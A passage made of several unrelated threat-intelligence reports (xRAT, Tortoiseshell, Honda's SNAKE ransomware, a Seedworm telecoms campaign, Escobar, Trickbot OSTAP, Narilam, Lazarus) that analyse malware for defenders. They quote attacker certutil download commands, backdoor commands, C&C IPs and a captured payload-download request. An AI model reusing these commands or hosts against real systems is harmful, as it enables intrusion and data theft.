other messaging applications that may have a similar package name. These features further highlight the considerable amount of control xRAT operators have over a compromised phone, allowing it to evade detection by covering its tracks and deleting entire sections of a device. ## Command and control infrastructure The majority of command and control servers used by xRAT in the past have been based in China with some appearing in Hong Kong. After analyzing recently acquired samples, we further identified attacker infrastructure on the East Coast of the United States. This may indicate an expansion in deployment from the actor behind this family as they've previously used servers geographically close to regions where their tooling is being deployed. Interestingly, the adversary infrastructure has Windows malware associated with it. One particular malicious executable is named MyExam, indicating that the actors behind this family may be continuing to target students, similar to how attackers used mRAT during the protests in 2014. ## Data compromise via xRAT highlights valuable data on mobile devices xRAT appears to specifically target political groups, but it's also a good example of how much data can be compromised via a mobile device. Enterprises must be prepared for these types of threats that compromise contacts, messaging app conversations, email, Wi-Fi passwords, SIM card information, audio, and text messages. Data compromise via mobile presents a significant risk to company-confidential data and can risk an enterprise's compliance standing, potentially resulting in hefty fines. This is particularly concerning for businesses who will be subject to GDPR, which demands enterprises protect personal information for anyone it interacts with or sends to the European Union. Enterprises should invest in a mobile threat detection solution to complement EMM/MDM technologies, providing invaluable visibility into threats and risks to enterprise data via mobile devices. Lookout is continuing to investigate the actor behind xRAT, its supporting infrastructure, and the evolving capabilities of the surveillanceware itself.
# Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access. Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware. This is an unusually large number of computers to be compromised in a targeted attack. It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them. We have seen Tortoiseshell activity as recently as July 2019. ## Custom tools The unique component used by Tortoiseshell is a malware called Backdoor.Syskit. This is a basic backdoor that can download and execute additional tools and commands. The actors behind it have developed it in both Delphi and .NET. Backdoor.Syskit is run with the “-install” parameter to install itself. There are a number of minor variations of the backdoor, but the primary functionality is the following: - Reads config file: `%Windir%\temp\rconfig.xml` - Writes Base64 encoding of AES encrypted (with key "fromhere") version of the data in the "url" element of the XML to: `HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd` This contains the command and control (C&C) information. - Writes Base64 encoding of AES encrypted (with key "fromhere") version of the "result" element of the XML to: `HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd` This holds the later portion of the URL to append to the C&C for sending information to it. - Deletes the config file. The malware collects and sends the machine’s IP address, operating system name and version, and Mac address to the C&C server using the URL in the Sendvmd registry key mentioned above. Data sent to the C&C server is Base64 encoded. The backdoor can receive various commands: - `"kill_me"`: stops the dllhost service and deletes `%Windir%\temp\bak.exe` - `"upload "`: downloads from the URL provided by the C&C server - `"unzip"`: uses PowerShell to unzip a specified file to a specified destination, or to run `cmd.exe /c <received command>` ## Tools, techniques, and procedures The other tools used by the group are public tools, and include: - Infostealer/Sha.exe/Sha432.exe - Infostealer/stereoversioncontrol.exe - get-logon-history.ps1 Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logon-history.ps1 tool. It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine. It then compresses this information before transferring it to a remote directory. Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine. We also saw Tortoiseshell using other dumping tools and PowerShell backdoors. The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker. For at least one victim, the first indication of malware on their network was a web shell. This indicates that the attackers likely compromised a web server and then used this to deploy malware onto the network. This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network. Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity, etc. On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller. This results in the information gathering tools being executed automatically when a client computer logs into the domain. ## Presence of OilRig tools In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools. Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East. The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig. It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools; however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated. If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region. The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig. ## Attacker motives The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers’ customers. Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018. Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software. IT providers are an ideal target for attackers given their high level of access to their clients’ computers. This access may give them the ability to send malicious software updates to target machines and may even provide them with remote access to customer machines. This provides access to the victims’ networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered. The targeting of a third-party service provider also makes it harder to pinpoint who the attackers’ true intended targets were. The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East. However, we currently have no evidence that would allow us to attribute Tortoiseshell’s activity to any existing known group or nation state. ## Protection/Mitigation The following protections are also in place to protect customers against Tortoiseshell activity: ### Indicators of Compromise - **SHA256**: `f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193` - Backdoor.Syskit `02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2` - Backdoor.Syskit `07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4` - Backdoor.Syskit **Backdoor.Syskit C&C servers**: `64.235.60.123` `64.235.39.45`
# Honda Investigates Possible Ransomware Attack, Networks Impacted Computer networks in Europe and Japan from car manufacturer giant Honda have been affected by issues that are reportedly related to a SNAKE Ransomware cyber-attack. Details are unclear at the moment, but the company is currently investigating the cause of the problems that were detected on Monday. ## Trouble Confirmed, Likely SNAKE Ransomware The company has confirmed to BleepingComputer that its IT network is not functioning properly but declined to provide more information regarding the nature of the issue as an investigation is ongoing. “Honda can confirm that there is an issue with its IT network. This is currently under investigation, to understand the cause,” a company representative told us. From what is known at this point, the issues have not influenced the Japanese production or dealer activities. Furthermore, the company spokesperson said that there is no impact on Honda customers. “In Europe, we are investigating to understand the nature of any impact,” said Honda. While the Japanese car manufacturer is tight-lipped about these events, a security researcher named Milkream has found a sample of the SNAKE (EKANS) ransomware submitted to VirusTotal today that checks for the internal Honda network name of "mds.honda.com." When BleepingComputer tried to analyze the sample, the ransomware would start and immediately exit without encrypting any files. The researcher states that this is because the ransomware tries to resolve the "mds.honda.com" domain, and failing to do so, will terminate the ransomware without encrypting any files. Security researcher Vitali Kremez has also told BleepingComputer that in addition to the mds.honda.com check, it also contains a reference to the U.S. IP address 170.108.71.15. This IP address resolves to the 'unspec170108.amerhonda.com' hostname. The reference to this IP address and the internal hostname check are very strong indicators that today's network outages are being caused by a SNAKE ransomware attack. ## Snake Ransom Note Dropped by Sample Found Today It is unclear how many systems are affected, but Snake is known to steal data before deploying the encryption routine. In a statement to BleepingComputer on Tuesday, Honda says that they can "confirm that there is no information breach at this point in time." "Work is being undertaken to minimise the impact and to restore full functionality of production, sales and development activities. At this point, we see minimal business impact," said a Honda representative. BleepingComputer reached out to the SNAKE ransomware operators, and while they did not admit to the attack, they did not deny it either. “At this time we will not share details about the attack in order to allow the target some deniability. This will change as time passes,” the SNAKE operators told BleepingComputer. ## Open Database Leaks Sensitive Info If this proves to be an intrusion from an unauthorized party, it would be a significantly different security incident than what the company had to deal with last year when misconfigured databases exposed sensitive information on the public internet. At the end of July 2019, security researcher Justin Paine found an unsecured ElasticSearch database containing information on about 300,000 Honda employees across the world, including the CEO. Apart from personally identifiable information, the database instance included details about machines on the network, like the version of the operating system, hostnames, and patch status. According to Paine’s research, a table called “uncontrolledmachines” listed systems on the internal network that did not have security software installed. "If an attacker is looking for a way into Honda's network knowing which machines are far less likely to identify/block their attacks would be critical information. These 'uncontrolled machines' could very easily be the open door into the entire network," Paine said. Another open ElasticSearch database belonging to Honda was discovered on December 11 last year by security researcher Bob Diachenko. The records were unprotected on the public internet and included data about customers in North America. The database was from a data logging and monitoring server for telematics services. It included full names, email addresses, phone numbers, postal addresses, vehicle make and model, as well as its identification number (VIN). The company estimated that about 26,000 unique consumer-related records were exposed due to the misconfigured database. ## Updates **Update 6/8/20:** Added information about a Honda IP address in the ransomware executable and a statement from the SNAKE ransomware operators. **Update 6/9/20:** Added details from a second statement from Honda about the risk of information breach and the impact on business. This is a developing story.
# Espionage Campaign Targets Telecoms Organizations across Middle East and Asia Attackers most likely linked to Iran have attacked a string of telecoms operators in the Middle East and Asia over the past six months, in addition to a number of IT services organizations and a utility company. Organizations in Israel, Jordan, Kuwait, Saudi Arabia, the United Arab Emirates, Pakistan, Thailand, and Laos were targeted in the campaign, which appears to have made no use of custom malware and instead relied on a mixture of legitimate tools, publicly available malware, and living-off-the-land tactics. While the identity of the attackers remains unconfirmed, there is some evidence to suggest a link to the Iranian Seedworm (aka MuddyWater) group. The targeting and tactics are consistent with Iranian-sponsored actors. ## Attack outline After breaching a targeted network, the attackers typically attempt to steal credentials and move laterally across the network. They appear to be particularly interested in Exchange Servers, deploying web shells onto them. In some cases, the attackers may be using compromised organizations as stepping stones to additional victims. Furthermore, some targets may have been compromised solely to perform supply-chain-type attacks on other organizations. In most attacks, the infection vector is unknown. Evidence of a possible vector was found at only one target. A suspected ScreenConnect setup MSI appeared to have been delivered in a zipped file named “Special discount program.zip,” suggesting that it arrived in a spear-phishing email. ## Telecoms attack In one attack against a telecoms firm in the Middle East, which began in August 2021, the first evidence of compromise was the creation of a service to launch an unknown Windows Script File (WSF). Scripts were then used to issue various domain, user discovery, and remote service discovery commands. The attackers used PowerShell to download another WSF and run it. Net group was used to query for the “exchange trusted subsystem” domain group. The attackers used Certutil to download a suspected Ligolo tunneling tool and launch WMI, which was used to get remote machines to carry out the following tasks: - Execute Certutil to download an unknown file - Execute Certutil to download an unknown WSF file and execute Wscript to launch this script - Execute PowerShell to download and execute content - Execute PowerShell to download a suspected web shell to an Exchange Server Based on process lineage data, attackers seemed to use scripts extensively. These may be automated scripts used for collecting information and downloading additional tools. However, in one instance, a command asks cURL for help, suggesting that there may have been at least some hands-on-keyboard activity on the part of the attackers. The attackers then used a remote access tool, believed to be eHorus, to perform the following tasks: - Deliver and run a suspected Local Security Authority Subsystem Service (LSASS) dumping tool - Deliver what are believed to be Ligolo tunneling tools - Execute Certutil to request a URL from Exchange Web Services (EWS) of what appears to be other targeted organizations One feature of this attack against a telecoms organization is that the attackers may have attempted to pivot to other targets by connecting to the Exchange Web Services (EWS) of other organizations, another telecoms operator, and an electronic equipment company in the same region. The following commands were used: - certutil.exe -urlcache –split -f hxxps://[REDACTED]/ews/exchange[.]asmx - certutil.exe -urlcache -split -f hxxps://webmail.[REDACTED][.]com/ews It is unclear what the intent of these requests is. It is possible the attackers were attempting to check connectivity to these organizations. ## Possible supply chain attack One target that appeared to be an outlier was a utility company in Laos. The infection vector may have been the exploit of a public-facing service since the first machine that appeared to be compromised was an IIS web server. Suspicious activity also had w3wp.exe in the process lineage. The attackers then used PowerShell to: - Download a suspected Ligolo tunneling tool - Download an unknown PowerShell script - Download an unknown XLS file The attackers then used PowerShell to connect to a webmail server of an organization in Thailand. They also attempted to connect to IT-related servers belonging to another company in Thailand. To facilitate credential theft, WMI was used to execute PowerShell to modify the registry to store passwords in plaintext in memory. In addition to this, an obfuscated version of the publicly available CrackMapExec tool appeared to be deployed. ## Toolset The attackers made heavy use of legitimate tools and publicly available hacking tools. These include: - ScreenConnect: Legitimate remote administration tool - RemoteUtilities: Legitimate remote administration tool - eHorus: Legitimate remote administration tool - Ligolo: Reverse tunneling tool - Hidec: Command line tool for running a hidden window - Nping: Packet generation tool - LSASS Dumper: Tool that dumps credentials from Local Security Authority Subsystem Service (LSASS) process - SharpChisel: Tunneling tool - Password Dumper - CrackMapExec: Publicly available tool that is used to automate security assessment of an Active Directory environment - ProcDump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but which can also be used as a general process dump utility - SOCKS5 proxy server: Tunneling tool - Keylogger: Retrieves browser credentials - Mimikatz: Publicly available credential dumping tool ## Seedworm link? There is some evidence to suggest that the Iranian Seedworm group was responsible for these attacks. Two IP addresses used in this campaign have been previously linked to Seedworm activity. However, Seedworm is known to regularly switch its infrastructure, meaning conclusive attribution cannot be made. There is also some overlap in tools between this campaign and earlier Seedworm campaigns. ScreenConnect, RemoteUtilities, SharpChisel, Ligolo, ProcDump, and Password Dumper were all referenced by Trend Micro in a March 2021 blog on Seedworm activity. In the case of two tools – SharpChisel and Password Dumper – identical versions were used in this campaign to those that were documented by Trend. ## Focused campaign If these attacks are linked to Iran, it will not be the first time an Iranian threat actor has targeted the telecoms sector. In 2018, Symantec revealed that the Chafer group had compromised a major telecoms services provider in the Middle East. While the ultimate end goal of the campaign remains unknown, the focus on telecoms operators suggests that the attackers are gathering intelligence on the sector and possibly attempting to pivot into spying on communications. ## Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise - ae5d0ad47328b85e4876706c95d785a3c1387a11f9336844c39e75c7504ba365 – Ligolo - e0873e15c7fb848c1be8dc742481b40f9887f8152469908c9d65930e0641aa6b – Ligolo - 22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f – Hidec - b0b97c630c153bde90ffeefc4ab79e76aaf2f4fd73b8a242db56cc27920c5a27 – Nping - b15dcb62dee1a8499b8ac63064a282a06abf0f7d0302c5e356cdb0c7b78415a9 – LSASS Dumper - 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 – SharpChisel - ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 – Password Dumper - facb00c8dc1b7ed209507d7c56d18b2c542c4e0b2986b9bfaf1764d8e252576b – CrackMapExec - 1a107c3ece1880cbbdc0a6c0817624b0dd033b02ebaf7fa366306aaca22c103d – ProcDump - 916cc8d6bf2282ae0d2db587f4f96780af59e685a1f1a511e0b2b276669dc802 – ProcDump - e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 – ProcDump - f6600e5d5c91ed30d8203ef2bd173ed0bc431453a31c03bc363b89f77e50d4c5 – SOCKS5 proxy server - 6d73c0bcdf1274aeb13e5ba85ab83ec00345d3b7f3bb861d1585be1f6ccda0c5 – Keylogger - 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 – Mimikatz - 96632f716df30af567da00d3624e245d162d0a05ac4b4e7cbadf63f04ca8d3da – Mimikatz - bee3d0ac0967389571ea8e3a8c0502306b3dbf009e8155f00a2829417ac079fc – Mimikatz - d9770865ea739a8f1702a2651538f4f4de2d92888d188d8ace2c79936f9c2688 – Mimikatz ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# AbereBot Returns as Escobar March 10, 2022 During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a Twitter post wherein researchers mentioned a malware that has a name and icon similar to the legitimate anti-virus app, McAfee. While analyzing the malware we observed that the package name of the malicious app was `com.escobar.pablo`. Further research helped us identify this malware as a new variant of the popular banking Trojan, Aberebot. Besides stealing sensitive information such as login credentials using phishing overlays, Aberebot has also targeted customers of 140+ banks and financial institutions across 18 countries. Cyble Research Labs has identified new features in this Aberebot variant, such as stealing data from Google Authenticator and taking control of compromised device screens using VNC. Threat Actors (TAs) have named the new variant as Escobar and published the feature details of the variant in a cybercrime forum. ## Technical Analysis ### APK Metadata Information - **App Name:** McAfee - **Package Name:** com.escobar.pablo - **SHA256 Hash:** a9d1561ed0d23a5473d68069337e2f8e7862f7b72b74251eb63ccc883ba9459f The malware requests users for 25 different permissions, of which it abuses 15. These dangerous permissions are listed below: | Permissions | Description | |----------------------------------|-------------------------------------------------------------------------------------------------| | READ_SMS | Access SMSes from the victim’s device. | | RECEIVE_SMS | Intercept SMSes received on the victim’s device. | | READ_CALL_LOG | Access Call Logs. | | READ_CONTACTS | Access phone contacts. | | READ_PHONE_STATE | Allows access to phone state, including the current cellular network information, the phone number and the serial number of the phone, the status of any ongoing calls, and a list of any Phone Accounts registered on the device. | | RECORD_AUDIO | Allows the app to record audio with the microphone, which has the potential to be misused by attackers. | | ACCESS_COARSE_LOCATION | Allows the app to get the approximate location of the device network sources such as cell towers and Wi-Fi. | | ACCESS_FINE_LOCATION | Allows the device’s precise location to be detected by using the Global Positioning System (GPS). | | SEND_SMS | Allows an application to send SMS messages. | | CALL_PHONE | Allows an application to initiate a phone call without going through the Dialer user interface for the user to confirm the call. | | WRITE_EXTERNAL_STORAGE | Allows the app to write or delete files in the device’s external storage. | | READ_EXTERNAL_STORAGE | Allows the app to read the contents of the device’s external storage. | | WRITE_SMS | Allows the app to modify or delete SMSes. | | GET_ACCOUNTS | Allows the app to get the list of accounts used by the phone. | | DISABLE_KEYGUARD | Allows the app to disable the keylock and any associated password security. | We observed a defined launcher activity in the malicious app’s manifest file, which loads the first screen of the application. ### Source Code Review Our static analysis indicated that the malware steals sensitive data such as Contacts, SMSes, Call logs, and device location. Besides recording calls and audio, the malware also deletes files, sends SMSes, makes calls, and takes pictures using the camera based on the commands received from the C&C server. The malware collects incoming SMSes from the device and uploads them to the C&C server. The malware can also kill itself whenever it gets the commands from the C&C server. ### Commands Used by TAs | Command | Description | |----------------------------------|-------------------------------------------------------------------------------------------------| | Take Photo | Capture images from the device’s camera. | | Send SMS | Send SMS to a particular number. | | Send SMS to All Contacts | Send SMS to all the contact numbers saved in the device. | | Inject a web page | Inject a URL. | | Download File | Download media files from the victim device. | | Kill Bot | Delete itself. | | Uninstall an app | Uninstall an application. | | Record Audio | Record device audio. | | Get Google Authenticator Codes | Steal Google Authenticator codes. | | Start VNC | Control device screen. | ## Conclusion Banking threats are increasing with every passing day and growing in sophistication. Escobar is one such example. The newly added features in the Escobar malware allow the malicious app to steal information from the compromised device. According to our research, these types of malware are only distributed via sources other than Google Play Store. As a result, practicing cyber hygiene across mobile devices and online banking applications is a good way to prevent this malware from compromising your system. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: ### How to prevent malware infection? - Download and install software only from official app stores like Google Play Store or the iOS App Store. - Use a reputed anti-virus and internet security software package on your connected devices, such as PCs, laptops, and mobile devices. - Use strong passwords and enforce multi-factor authentication wherever possible. - Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device where possible. - Be wary of opening any links received via SMS or emails delivered to your phone. - Ensure that Google Play Protect is enabled on Android devices. - Be careful while enabling any permissions. - Keep your devices, operating systems, and applications updated. ### How to identify whether you are infected? - Regularly check the Mobile/Wi-Fi data usage of applications installed in mobile devices. - Keep an eye on the alerts provided by Anti-viruses and Android OS and take necessary actions accordingly. ### What to do when you are infected? - Disable Wi-Fi/Mobile data and remove SIM card – as in some cases, the malware can re-enable the Mobile Data. - Perform a factory reset. - Remove the application in case a factory reset is not possible. - Take a backup of personal media files (excluding mobile applications) and perform a device reset. ### What to do in case of any fraudulent transaction? - In case of a fraudulent transaction, immediately report it to the concerned bank. ### What should banks do to protect their customers? - Banks and other financial entities should educate customers on safeguarding themselves from malware attacks via telephone, SMSes, or emails. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |------------------------------|--------------|-----------------------------------------------------| | Initial Access | T1476 | Deliver Malicious App via Other Mean. | | Initial Access | T1444 | Masquerade as Legitimate Application | | Execution | T1575 | Native Code | | Collection | T1433 | Access Call Log | | Collection | T1412 | Capture SMS Messages | | Collection | T1432 | Access Contact List | | Collection | T1429 | Capture Audio | | Collection | T1512 | Capture Camera | | Collection | T1533 | Data from Local System | | Collection | T1430 | Location Tracking | | Command and Control | T1436 | Commonly Used Ports | ## Indicators of Compromise | Indicators | Indicator Type | Description | |---------------------------------------------------------------------------|----------------|-------------| | a9d1561ed0d23a5473d68069337e2f8e7862f7b72b74251eb63ccc883ba9459f | SHA256 | Escobar APK | | 22e943025f515a398b2f559c658a1a188d0d889f | SHA1 | Escobar APK | | d57e1c11f915b874ef5c86cedb25abda | MD5 | Escobar APK |
# Trickbot Delivery Method Gets a New Upgrade Focusing on Windows 10 EDITOR'S NOTE: The previous version of this blog post mis-identified the source of this attack as the FIN7 group; GRIFFON and OSTAP are both very long javascripts that have many similarities. This caused the confusion in identifying the attack as coming from FIN7. This is still an important find though, as Trickbot is one of the most advanced malware frameworks. Over the past few weeks, Morphisec Labs researchers identified a couple dozen documents that execute the OSTAP javascript downloader. This time we have identified the use of the latest version of the remote desktop ActiveX control class that was introduced for Windows 10. The attackers utilize the ActiveX control for automatic execution of the malicious Macro following an enable of the Document content. As newer features are introduced to a constantly updating OS, so too the detection vendors need to update their techniques to protect the system. This may become very exhausting and time-consuming work, which can lead to the opposite effect of pushing defenders even farther behind the attacker. Trickbot distributors have yet again taken advantage of the opportunity this change presents. While tracing this group abusing the remote ActiveX control, we also identified other groups misusing the same and earlier controls although with a slightly different technique. ## Technical details ### Document Most of the targeted documents were following the naming convention "i<7-9 random digits>.doc", as each document usually contained an image to convince targets to enable the content. This leads to the execution of the malicious macro, only this time the image also hid an ActiveX control slightly below it. The malicious OSTAP JavaScript downloader is then hidden in white colored letters in between the content, so it’s not visible to people but can be seen by machines. Examining the ActiveX control revealed the use of the MsRdpClient10NotSafeForScripting class (which is used for remote control). The Server field is empty in the script, which will later cause an error that the attackers will actually abuse to properly execute their own code. ### Macro Inspection of the macro revealed an interesting trigger method -- “<name>_OnDisconnected” -- which will be the main function that is first executed. This method didn’t execute immediately as it takes time for it to try and resolve DNS to an empty string and then return an error. The OSTAP will not execute unless the error number matches exactly to "disconnectReasonDNSLookupFailed" (260); the OSTAP wscript command is concatenated with a combination of characters that are dependent on the error number calculation. Going over the documentation for the msrdpclient10 reveals that it will not work on workstations that are not updated to Windows 10. As soon as OSTAP is created in the form of a BAT file, this file is executed, and the word document form is closed. ### GRIFFON The BAT will execute wscript back with its own content -- an old trick using comments that the BAT will disregard during the execution of wscript (non-recognized command) while skipped together with its content when executed by wscript (or any other interpreter that adheres to the comments syntax). As soon as the JavaScript is beautified, we get back to the same old GRIFFON obfuscation pattern. ## Conclusions Updating your operating system is necessary for better security, even though it doesn’t always serve that purpose. This example with OSTAP makes it clear that this doesn’t always work. Even with an updated OS, there remains a need for preventive measures such as attack surface reduction, moving target defense, and hardening. There are hundreds more objects that have been introduced in the latest Windows 10 and even dozens more methods in the described object that sophisticated attackers can abuse. There might also be opportunities for vulnerability exploitation with every new feature but this is not in the scope of this blog post. ## Appendix ### Hashes ``` 74422ee3e1274bad11f5ac44712b1d10fce3a1e7fd9acc0a82fe88d9e9b7b78e 891c716d059459d97a726a9bb262bc20f369b6c810097ff312fd710a4d4da577 3d0c3f3d464a8229480b6d4a024d2982c72d67942d8ee245dd91da1a26ddd22a ff7334237ad5a76d682c32267ffbada9ef091eb87f3683981b71e1d84c3990a9 414744acddc03bb095a31708c66f33ae456af58ae85ab2887e9781b528034064 8b975bcdc73d28d299b60b7c1ab81c0a5b3a30153725dc41e836659a4ea78831 005a1e42bb3e5092124dfa40b9a765339c7ab9ea00c276ba2f2af32ce2ed81ce 200a0cc130113fedd2e3baa0e5988ca18102a652909b2530785242fd800dd4f5 c1374ddd0b06eb942a7d5224ebf3c6a10802902dd8eee03fe9603292714f8bf1 bb7a43ea1a305228e6ff36abef475e046e549e309fddf334d97707bfbc47aef4 683a9df3e291669e6a1ee35aa08222e228bd553f76ba049c4b8873f6d9eb8880 6226065b170ad402b35ff8307eab843f46b54cc7a93a3717af0fa9cf2eb433df 0d25947452fbd14301f660f357845760693eabf61e99bd55c7ab47a44a88ccd5 ``` ### Domains insiderppe.cloudapp[.]net
# Endpoint Protection In the last couple of years, we have seen highly sophisticated malware used to sabotage the business activities of chosen targets. We have seen malware such as W32.Stuxnet designed to tamper with industrial automation systems and other destructive examples such as W32.Disstrack and W32.Flamer, which can both wipe out data and files from hard disks. All of these threats can badly disrupt the activities of those affected. Following along that theme, we recently came across an interesting threat that has another method of causing chaos, this time, by targeting and modifying corporate databases. We detect this threat as W32.Narilam. Based on the detections observed, W32.Narilam is active predominantly in the Middle East. Just like many other worms that we have seen in the past, the threat copies itself to the infected machine, adds registry keys, and spreads through removable drives and network shares. It is even written using Delphi, which is a language that is used to create a lot of other malware threats. All these aspects of this threat are normal enough; what is unusual about this threat is the fact that it has the functionality to update a Microsoft SQL database if it is accessible by OLEDB. The worm specifically targets SQL databases with three distinct names: alim, maliran, and shahd. The following are some of the object/table names that can be accessed by the threat: - Hesabjari ("current account" in Arabic/Persian) - Holiday - Holiday_1 - Holiday_2 - Asnad (“financial bond” in Arabic) - A_sellers - R_DetailFactoreForosh ("forosh" means "sale" in Persian) - person - pasandaz ("savings" in Persian) - BankCheck - End_Hesab ("hesab" means "account" in Persian) - Kalabuy - Kalasales - REFcheck - buyername - Vamghest (“instalment loans” in Persian) The threat replaces certain items in the database with random values. The following are some of the items that are modified by the threat: - Asnad.SanadNo ("sanad" means "document" in Persian) - Asnad.LastNo - Asnad.FirstNo - A_TranSanj.Tranid - Pasandaz.Code (“pasandaz” means “savings” in Persian) - n_dar_par.price - bankcheck.state - End_Hesab.Az - Kalabuy.Serial - sath.lengths - Kalasales.Serial - refcheck.amount - buyername.Buyername The threat also deletes tables including ones with the following names: - A_Sellers - person - Kalamast The malware does not have any functionality to steal information from the infected system and appears to be programmed specifically to damage the data held within the targeted database. Given the types of objects that the threat searches for, the targeted databases seem to be related to ordering, accounting, or customer management systems belonging to corporations. Our in-field telemetry indicates that the vast majority of users impacted by this threat are corporate users. This fact is consistent with the functionality contained within the threat. The types of databases that this threat is looking for are unlikely to be found in the systems of home users. Unless appropriate backups are in place, the affected database will be difficult to restore. The affected organization will likely suffer significant disruption and even financial loss while restoring the database. As the malware is aimed at sabotaging the affected database and does not make a copy of the original database first, those affected by this threat will have a long road to recovery ahead of them. Symantec users with the latest definitions are protected from W32.Narilam; however, we strongly recommend that important databases be backed up regularly.
# Analysis of Lazarus Malware Abusing Non-ActiveX Module in South Korea **Author:** Sojun Ryu (hypen) @ Talon **Date:** July 9, 2021 ## Executive Summary 최근 I사의 C프로그램 설치 여부를 확인하는 악성코드 샘플이 탐지됨. - 악성코드 제작 일시: 2021–02–10 05:19:21 (UTC) - 단, 악성코드 제작 일시는 공격자에 의해 변경이 쉽게 가능함. - 악성행위 수행 전 C프로그램 관련 파일 존재 여부를 확인한 뒤, 존재하지 않을 경우 추가 행위를 수행하지 않음. - 최종 행위로는 추가 악성코드를 국내 유포지로부터 다운로드 받고 실행. - 현재 추가 악성코드는 다운로드되지 않음. ## File Information - MD5: b3a8c88297daecdb9b0ac54a3c107797 - SHA256: 46660f562fe01b5df0e1ac03dd44b4cc8d2fa5f5 - File Name: ComparePlus, ComparePlus.dll, SCSKAppLink.dll - Type: pedll, x86 ## Detailed Analysis 1. 탐지된 샘플은 오픈소스로 공개된 ComparePlus라는 Notepad++ 플러그인의 정상 코드에 기반함. - Copyright: Copyright © 2019 - Product: ComparePlus (32-bit) - Description: Compare plugin for Notepad++ - Original Name: ComparePlus.dll - Company Name: Pavel Nedev - File Version: 1.0.0 2. 백신 등 보안장비 우회를 위해 악성코드를 정상 인증서로 서명. - Name: DOCTER USA, INC. - Serial Number: 2B 7C 17 F1 A3 B3 DF BC 4F 8A 48 AF 73 7C 43 2D - Valid: 2020/12/07 00:00 ~ 2021/12/07 12:00 (UTC) - Date signed: 2021–07–02 17:25:00 (UTC) 3. 실행 시 아래 경로를 확인하여 감염기기 내 I사 C프로그램 설치 여부 확인 후, 해당 경로의 파일들이 존재하는 경우에만 악성행위 수행. 4. 이후 정상 comp.exe를 실행하여 자기자신을 로드하도록 함. - 프로그램 경로: C:\WINDOWS\system32\comp.exe - DLL Injection 기법을 이용하여 강제 로드. 5. 최종적으로 국내 유포지로부터 추가 악성코드를 다운로드 후 RC5로 데이터를 decrypt하여 메모리에서 실행. - 접속 패킷 예시: ``` POST /html/facilities/facilities_01_06.asp?product_field=racket HTTP 1.0 Host: grandgolf.co.kr:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57 Accept: text/* Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ## 연관성 분석 이번에 발견된 악성코드는 과거 Lazarus가 국내 침해사고에서 사용됐던 악성코드와 유사한 decode 방식을 사용하고 있다. 1. 과거 Lazarus 악성코드와 이번 악성코드 decode 코드 비교. ## Conclusion 해당 샘플이 사용하는 문자열 디코딩 코드에서 과거 라자루스 공격 그룹이 사용한 악성코드와의 유사점이 확인됨. 악성행위 수행 전 I사 C프로그램 관련 파일들을 확인하는 것으로 보아, 해당 소프트웨어를 이용하여 추가 악성행위를 수행할 것으로 판단됨. 이번 샘플 또한 최근 관련 공격 그룹이 지속적으로 사용하고 있는 정상 파일 위장 악성코드를 사용하였으며, 실제 오픈소스 프로그램을 수정하여 제작하였기 때문에 악성 여부 탐지가 쉽지 않음. ## Appendix ### Appendix 1: IoC 1. 